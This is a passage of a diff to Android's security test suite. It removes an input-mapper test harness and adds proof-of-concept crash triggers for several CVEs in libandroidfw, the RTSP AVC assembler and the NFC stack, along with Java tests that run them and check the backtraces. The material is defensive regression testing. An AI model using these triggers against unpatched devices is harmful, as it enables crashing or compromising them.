- mLightBrightness.emplace(lightId, brightness);
- }
-
- void setLightIntensities(int32_t deviceId, int32_t lightId,
- std::unordered_map<LightColor, int32_t> intensities) override {
- mLightIntensities.emplace(lightId, intensities);
- };
-
- std::optional<int32_t> getLightBrightness(int32_t deviceId, int32_t lightId) override {
- auto lightIt = mLightBrightness.find(lightId);
- if (lightIt == mLightBrightness.end()) {
- return std::nullopt;
- }
- return lightIt->second;
- }
-
- std::optional<std::unordered_map<LightColor, int32_t>> getLightIntensities(
- int32_t deviceId, int32_t lightId) override {
- auto lightIt = mLightIntensities.find(lightId);
- if (lightIt == mLightIntensities.end()) {
- return std::nullopt;
- }
- return lightIt->second;
- };
-
- virtual bool isExternal(int32_t) const { return false; }
-
- void dump(std::string&) override {}
-
- void monitor() override {}
-
- void requestReopenDevices() override {}
-
- void wake() override {}
-};
-
-// --- TestInputMapper---
-
-class TestInputMapper : public InputMapper {
- uint32_t mSources;
- int32_t mKeyboardType;
- int32_t mMetaState;
- KeyedVector<int32_t, int32_t> mKeyCodeStates;
- KeyedVector<int32_t, int32_t> mScanCodeStates;
- KeyedVector<int32_t, int32_t> mSwitchStates;
- std::vector<int32_t> mSupportedKeyCodes;
-
- std::mutex mLock;
- std::condition_variable mStateChangedCondition;
- bool mConfigureWasCalled GUARDED_BY(mLock);
- bool mResetWasCalled GUARDED_BY(mLock);
- bool mProcessWasCalled GUARDED_BY(mLock);
- RawEvent mLastEvent GUARDED_BY(mLock);
-
- std::optional<DisplayViewport> mViewport;
-
-public:
- TestInputMapper(InputDeviceContext& deviceContext, uint32_t sources)
- : InputMapper(deviceContext),
- mSources(sources),
- mKeyboardType(AINPUT_KEYBOARD_TYPE_NONE),
- mMetaState(0),
- mConfigureWasCalled(false),
- mResetWasCalled(false),
- mProcessWasCalled(false) {}
-
- virtual ~TestInputMapper() {}
-
- void setKeyboardType(int32_t keyboardType) { mKeyboardType = keyboardType; }
-
- void setMetaState(int32_t metaState) { mMetaState = metaState; }
- void setKeyCodeState(int32_t keyCode, int32_t state) {
- mKeyCodeStates.replaceValueFor(keyCode, state);
- }
-
- void setScanCodeState(int32_t scanCode, int32_t state) {
- mScanCodeStates.replaceValueFor(scanCode, state);
- }
-
- void setSwitchState(int32_t switchCode, int32_t state) {
- mSwitchStates.replaceValueFor(switchCode, state);
- }
-
- void addSupportedKeyCode(int32_t keyCode) { mSupportedKeyCodes.push_back(keyCode); }
-
-private:
- uint32_t getSources() override { return mSources; }
-
- void populateDeviceInfo(InputDeviceInfo* deviceInfo) override {
- InputMapper::populateDeviceInfo(deviceInfo);
-
- if (mKeyboardType != AINPUT_KEYBOARD_TYPE_NONE) {
- deviceInfo->setKeyboardType(mKeyboardType);
- }
- }
-
- void configure(nsecs_t, const InputReaderConfiguration* config, uint32_t changes) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mConfigureWasCalled = true;
-
- // Find the associated viewport if exist.
- const std::optional<uint8_t> displayPort = getDeviceContext().getAssociatedDisplayPort();
- if (displayPort && (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
- mViewport = config->getDisplayViewportByPort(*displayPort);
- }
-
- mStateChangedCondition.notify_all();
- }
-
- void reset(nsecs_t) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mResetWasCalled = true;
- mStateChangedCondition.notify_all();
- }
-
- void process(const RawEvent* rawEvent) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mLastEvent = *rawEvent;
- mProcessWasCalled = true;
- mStateChangedCondition.notify_all();
- }
-
- int32_t getKeyCodeState(uint32_t, int32_t keyCode) override {
- ssize_t index = mKeyCodeStates.indexOfKey(keyCode);
- return index >= 0 ? mKeyCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- int32_t getScanCodeState(uint32_t, int32_t scanCode) override {
- ssize_t index = mScanCodeStates.indexOfKey(scanCode);
- return index >= 0 ? mScanCodeStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- int32_t getSwitchState(uint32_t, int32_t switchCode) override {
- ssize_t index = mSwitchStates.indexOfKey(switchCode);
- return index >= 0 ? mSwitchStates.valueAt(index) : AKEY_STATE_UNKNOWN;
- }
-
- // Return true if the device has non-empty key layout.
- bool markSupportedKeyCodes(uint32_t, size_t numCodes, const int32_t* keyCodes,
- uint8_t* outFlags) override {
- for (size_t i = 0; i < numCodes; i++) {
- for (size_t j = 0; j < mSupportedKeyCodes.size(); j++) {
- if (keyCodes[i] == mSupportedKeyCodes[j]) {
- outFlags[i] = 1;
- }
- }
- }
- bool result = mSupportedKeyCodes.size() > 0;
- return result;
- }
-
- virtual int32_t getMetaState() { return mMetaState; }
-
- virtual void fadePointer() {}
-
- virtual std::optional<int32_t> getAssociatedDisplay() {
- if (mViewport) {
- return std::make_optional(mViewport->displayId);
- }
- return std::nullopt;
- }
-};
-
-// --- InstrumentedInputReader ---
-
-class InstrumentedInputReader : public InputReader {
- std::queue<std::shared_ptr<InputDevice>> mNextDevices;
-
-public:
- InstrumentedInputReader(std::shared_ptr<EventHubInterface> eventHub,
- const sp<InputReaderPolicyInterface>& policy,
- const sp<InputListenerInterface>& listener)
- : InputReader(eventHub, policy, listener), mTestContext(this) {}
-
- virtual ~InstrumentedInputReader() {}
-
- void pushNextDevice(std::shared_ptr<InputDevice> device) { mNextDevices.push(device); }
-
- std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
- const std::string& location = "") {
- InputDeviceIdentifier identifier;
- identifier.name = name;
- identifier.location = location;
- int32_t generation = deviceId + 1;
- return std::make_shared<InputDevice>(&mTestContext, deviceId, generation, identifier);
- }
-
- // Make the protected loopOnce method accessible to tests.
- using InputReader::loopOnce;
-
-protected:
- virtual std::shared_ptr<InputDevice> createDeviceLocked(int32_t eventHubId,
- const InputDeviceIdentifier& identifier)
- REQUIRES(mLock) {
- if (!mNextDevices.empty()) {
- std::shared_ptr<InputDevice> device(std::move(mNextDevices.front()));
- mNextDevices.pop();
- return device;
- }
- return InputReader::createDeviceLocked(eventHubId, identifier);
- }
-
- // --- TestInputReaderContext ---
- class TestInputReaderContext : public ContextImpl {
- int32_t mGlobalMetaState;
- bool mUpdateGlobalMetaStateWasCalled;
- int32_t mGeneration;
-
- public:
- TestInputReaderContext(InputReader* reader)
- : ContextImpl(reader),
- mGlobalMetaState(0),
- mUpdateGlobalMetaStateWasCalled(false),
- mGeneration(1) {}
-
- virtual ~TestInputReaderContext() {}
-
- void assertUpdateGlobalMetaStateWasCalled() { mUpdateGlobalMetaStateWasCalled = false; }
-
- void setGlobalMetaState(int32_t state) { mGlobalMetaState = state; }
-
- uint32_t getGeneration() { return mGeneration; }
-
- void updateGlobalMetaState() override {
- mUpdateGlobalMetaStateWasCalled = true;
- ContextImpl::updateGlobalMetaState();
- }
-
- int32_t getGlobalMetaState() override {
- return mGlobalMetaState | ContextImpl::getGlobalMetaState();
- }
-
- int32_t bumpGeneration() override {
- mGeneration = ContextImpl::bumpGeneration();
- return mGeneration;
- }
- } mTestContext;
-
-public:
- TestInputReaderContext* getContext() { return &mTestContext; }
-};
-
-// --- InputMapperTest ---
-
-class InputMapperTest {
-public:
- std::shared_ptr<TestEventHub> mTestEventHub;
- sp<TestInputReaderPolicy> mTestPolicy;
- sp<TestInputListener> mTestListener;
- std::unique_ptr<InstrumentedInputReader> mReader;
- std::shared_ptr<InputDevice> mDevice;
-
- virtual void SetUp(Flags<InputDeviceClass> classes) {
- mTestEventHub = std::make_unique<TestEventHub>();
- mTestPolicy = new TestInputReaderPolicy();
- mTestListener = new TestInputListener();
- mReader = std::make_unique<InstrumentedInputReader>(mTestEventHub, mTestPolicy,
- mTestListener);
- mDevice = newDevice(DEVICE_ID, DEVICE_NAME, DEVICE_LOCATION, EVENTHUB_ID, classes);
- }
-
- void SetUp() { SetUp(DEVICE_CLASSES); }
-
- void TearDown() {
- mTestListener.clear();
- mTestPolicy.clear();
- }
- virtual ~InputMapperTest() {}
-
- void addConfigurationProperty(const char* key, const char* value) {
- mTestEventHub->addConfigurationProperty(EVENTHUB_ID, String8(key), String8(value));
- }
-
- void configureDevice(uint32_t changes) {
- if (!changes || (changes & InputReaderConfiguration::CHANGE_DISPLAY_INFO)) {
- mReader->requestRefreshConfiguration(changes);
- mReader->loopOnce();
- }
- mDevice->configure(ARBITRARY_TIME, mTestPolicy->getReaderConfiguration(), changes);
- }
-
- std::shared_ptr<InputDevice> newDevice(int32_t deviceId, const std::string& name,
- const std::string& location, int32_t eventHubId,
- Flags<InputDeviceClass> classes) {
- InputDeviceIdentifier identifier;
- identifier.name = name;
- identifier.location = location;
- std::shared_ptr<InputDevice> device =
- std::make_shared<InputDevice>(mReader->getContext(), deviceId, DEVICE_GENERATION,
- identifier);
- mReader->pushNextDevice(device);
- mTestEventHub->addDevice(eventHubId, name, classes);
- mReader->loopOnce();
- return device;
- }
-
- template <class T, typename... Args>
- T& addMapperAndConfigure(Args... args) {
- T& mapper = mDevice->addMapper<T>(EVENTHUB_ID, args...);
- configureDevice(0);
- mDevice->reset(ARBITRARY_TIME);
- mapper.reset(ARBITRARY_TIME);
- return mapper;
- }
-
- void setDisplayInfoAndReconfigure(int32_t displayId, int32_t width, int32_t height,
- int32_t orientation, const std::string& uniqueId,
- std::optional<uint8_t> physicalPort,
- ViewportType viewportType) {
- mTestPolicy->addDisplayViewport(displayId, width, height, orientation, true /*isActive*/,
- uniqueId, physicalPort, viewportType);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
- }
-
- void clearViewports() { mTestPolicy->clearViewports(); }
-
- void process(InputMapper& mapper, nsecs_t when, nsecs_t readTime, int32_t type, int32_t code,
- int32_t value) {
- RawEvent event;
- event.when = when;
- event.readTime = readTime;
- event.deviceId = mapper.getDeviceContext().getEventHubId();
- event.type = type;
- event.code = code;
- event.value = value;
- mapper.process(&event);
- mReader->loopOnce();
- }
- void Process_DeactivateViewport_AbortTouches();
-};
-
-void InputMapperTest::Process_DeactivateViewport_AbortTouches() {
- SetUp();
- addConfigurationProperty("touch.deviceType", "touchScreen");
- mTestPolicy->addDisplayViewport(DISPLAY_ID, DISPLAY_WIDTH, DISPLAY_HEIGHT,
- DISPLAY_ORIENTATION_0, true /*isActive*/, UNIQUE_ID, NO_PORT,
- ViewportType::INTERNAL);
- std::optional<DisplayViewport> optionalDisplayViewport =
- mTestPolicy->getDisplayViewportByUniqueId(UNIQUE_ID);
- DisplayViewport displayViewport = *optionalDisplayViewport;
-
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
- mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_X, RAW_X_MIN, RAW_X_MAX, 0, 0);
- mTestEventHub->addAbsoluteAxis(EVENTHUB_ID, ABS_MT_POSITION_Y, RAW_Y_MIN, RAW_Y_MAX, 0, 0);
- MultiTouchInputMapper& mapper = addMapperAndConfigure<MultiTouchInputMapper>();
-
- // Finger down
- int32_t x = 100, y = 100;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
- NotifyMotionArgs motionArgs;
-
- // Deactivate display viewport
- displayViewport.isActive = false;
- mTestPolicy->updateViewport(displayViewport);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
- // Finger move
- x += 10, y += 10;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-
- // Reactivate display viewport
- displayViewport.isActive = true;
- mTestPolicy->updateViewport(displayViewport);
- configureDevice(InputReaderConfiguration::CHANGE_DISPLAY_INFO);
-
- // Finger move again
- x += 10, y += 10;
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_X, x);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_ABS, ABS_MT_POSITION_Y, y);
- process(mapper, ARBITRARY_TIME, READ_TIME, EV_SYN, SYN_REPORT, 0);
-}
-
-} // namespace android
-
-int main() {
- android::InputMapperTest inputMapperTest;
- inputMapperTest.Process_DeactivateViewport_AbortTouches();
- return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
new file mode 100644
index 00000000000..8fd68012c9c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39664",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libandroidfw",
+ "libui",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
new file mode 100644
index 00000000000..0c477f6eb18
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39664/poc.cpp
@@ -0,0 +1,65 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <androidfw/ApkAssets.h>
+
+#include <vector>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using android::LoadedArsc;
+
+bool testInProgress = false;
+char enable_selective_overload = ENABLE_NONE;
+FILE *file = nullptr;
+
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+void exitHandler(void) {
+ if (file) {
+ fclose(file);
+ file = nullptr;
+ }
+}
+
+int main(int argc, char **argv) {
+ atexit(exitHandler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+ FAIL_CHECK(argc >= 2);
+ file = fopen(argv[1], "r");
+ FAIL_CHECK(file);
+ fseek(file, 0, SEEK_END);
+ size_t size = ftell(file);
+ fseek(file, 0, SEEK_SET);
+ enable_selective_overload = ENABLE_ALL;
+ std::vector<uint8_t> buffer(size);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
+ FAIL_CHECK(fread((void *)buffer.data(), 1, size, file) == size);
+ testInProgress = true;
+ LoadedArsc::Load(buffer.data(), size);
+ testInProgress = false;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
new file mode 100644
index 00000000000..0597cdfa9c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39665",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults"
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libutils",
+ "libmediaplayerservice",
+ "libstagefright_foundation",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libstagefright/rtsp",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
new file mode 100644
index 00000000000..a0080058784
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39665/poc.cpp
@@ -0,0 +1,84 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include "../includes/common.h"
+
+#define private public
+#include "AAVCAssembler.h"
+
+using namespace android;
+
+bool isOverloadingEnabled = false;
+
+bool isTestInProgress = false;
+
+struct sigaction newAction, oldAction;
+
+static void *(*realMalloc)(size_t) = nullptr;
+
+void *malloc(size_t size) {
+ if (!realMalloc) {
+ realMalloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (!realMalloc) {
+ return nullptr;
+ }
+ }
+ if (isOverloadingEnabled && (size == 0)) {
+ size_t pageSize = sysconf(_SC_PAGE_SIZE);
+ void *ptr = memalign(pageSize, pageSize);
+ mprotect(ptr, pageSize, PROT_NONE);
+ return ptr;
+ }
+ return realMalloc(size);
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*oldAction.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&newAction.sa_mask);
+ newAction.sa_flags = SA_SIGINFO;
+ newAction.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &newAction, &oldAction);
+
+ sp<ABuffer> buffer(new ABuffer(16));
+ FAIL_CHECK(buffer != nullptr);
+
+ sp<AMessage> meta = buffer->meta();
+ FAIL_CHECK(meta != nullptr);
+
+ uint32_t rtpTime = 16;
+ meta->setInt32("rtp-time", rtpTime);
+
+ AAVCAssembler *assembler = new AAVCAssembler(meta);
+ FAIL_CHECK(assembler != nullptr);
+
+ isOverloadingEnabled = true;
+ sp<ABuffer> zeroSizedBuffer(new ABuffer(0));
+ isOverloadingEnabled = false;
+
+ isTestInProgress = true;
+ assembler->checkSpsUpdated(zeroSizedBuffer);
+ isTestInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
new file mode 100644
index 00000000000..b4bdd3c07f0
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39675",
+ compile_multilib: "64",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
new file mode 100644
index 00000000000..78ebda8c62b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39675/poc.cpp
@@ -0,0 +1,22 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "gki.h"
+
+int main() {
+ return (GKI_getbuf(USHRT_MAX) == nullptr) ? EXIT_SUCCESS : EXIT_VULNERABLE;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
index 63a5370188f..75bbd0ac298 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183613671.java
@@ -23,10 +23,10 @@ import org.junit.Test;
import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183613671 extends BaseHostJUnit4Test {
+public final class Bug_183613671 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183613671";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183613671.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
index e31cb479c0e..adf6103043a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183963253.java
@@ -25,10 +25,10 @@ import org.junit.Before;
import org.junit.runner.RunWith;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183963253 extends BaseHostJUnit4Test {
+public final class Bug_183963253 extends StsExtraBusinessLogicHostTestBase {
private static final String TEST_PKG = "android.security.cts.BUG_183963253";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183963253.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
index 31da488db56..b127c851d70 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2018_9558.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,14 +14,19 @@
* limitations under the License.
*/
+
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
+
import com.android.compatibility.common.util.CrashUtils;
-import com.android.tradefed.device.ITestDevice;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import org.junit.Test;
+
+import java.util.regex.Pattern;
+
import org.junit.runner.RunWith;
+import org.junit.Test;
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2018_9558 extends SecurityTestCase {
@@ -29,16 +34,23 @@ public class CVE_2018_9558 extends SecurityTestCase {
/**
* b/112161557
* Vulnerability Behaviour: SIGABRT in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
*/
@Test
@AsbSecurityTest(cveBugId = 112161557)
public void testPocCVE_2018_9558() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
+ String signals[] = {CrashUtils.SIGABRT};
String binaryName = "CVE-2018-9558";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+ "rw_t2t_handle_tlv_detect_rsp"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
new file mode 100644
index 00000000000..181d660df48
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2012.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2012 extends SecurityTestCase {
+
+ /**
+ * b/120497437
+ * Vulnerability Behaviour: SIGSEGV in self
+ * Vulnerable Library: libnfc-nci (As per AOSP code)
+ * Vulnerable Function: rw_t3t_update_block (As per AOSP code)
+ */
+ @AsbSecurityTest(cveBugId = 120497437)
+ @Test
+ public void testPocCVE_2019_2012() throws Exception {
+ AdbUtils.assumeHasNfc(getDevice());
+ assumeIsSupportedNfcDevice(getDevice());
+ pocPusher.only64();
+ String signals[] = {CrashUtils.SIGSEGV};
+ String binaryName = "CVE-2019-2012";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ .setBacktraceIncludes(
+ new BacktraceFilterPattern("libnfc-nci", "rw_t3t_update_block"));
+ testConfig.config
+ .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
new file mode 100644
index 00000000000..b7c2ea8fab3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2017.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
